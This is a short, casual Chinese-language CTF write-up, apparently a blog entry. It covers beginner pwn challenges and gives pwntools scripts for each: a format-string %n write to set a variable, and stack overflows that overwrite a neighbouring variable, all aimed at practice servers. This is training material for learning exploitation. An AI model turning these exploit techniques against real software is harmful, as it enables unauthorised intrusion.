老子满血复活啦!
啊哈!
然后把之前的pwn补一下
get_shell
题目描述打开就能获得flag
那就打开嘛
做完了嘻嘻
CGfsb
IDA
if(pwnme==8)就可以获得flag
找到pwnme的地址
nc一下发现输入的数据偏移量为10
然后利用格式化字符串漏洞
sh= remote('111.198.29.45',30267)
pwn_adr = 0x0804A068
payload1 = "ABCD"
payload2 = p32(pwn_adr) + 'aaaa%10$n'
sh.recvuntil('please tell me your name:')
sh.sendline(payload1)
sh.recvuntil('leave your message please:')
sh.sendline(payload2)
32位占四个字节,再加4个字节对pwnme赋值为8
when_did_you_born
IDA
直接输入1926会被强制退出
然后v5必须等于1926
emmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm
神经病
然后这里
先输入v5再输入v4而v4和v5差8个字节
也就是说v4超过8字节后就会覆盖掉v5
哇哦
from pwn import *
#context.log_level='debug'
sh= remote('111.198.29.45',30287)
p1='aa'
p2='aaaaaaaa'+p64(1926)
sh.recvuntil("What's Your Birth?")
sh.sendline(p1)
sh.recvuntil("What's Your Name?")
sh.sendline(p2)
sh.interactive()
emm明天继续补
hello_pwn
直接exp了这道题超级简单
from pwn import *
sh= remote('111.198.29.45', 30591)
sh.recvuntil('lets get helloworld for bof\n')
shellcode = 'aaaa'+p64(1853186401)
sh.send(shellcode)
print sh.recv()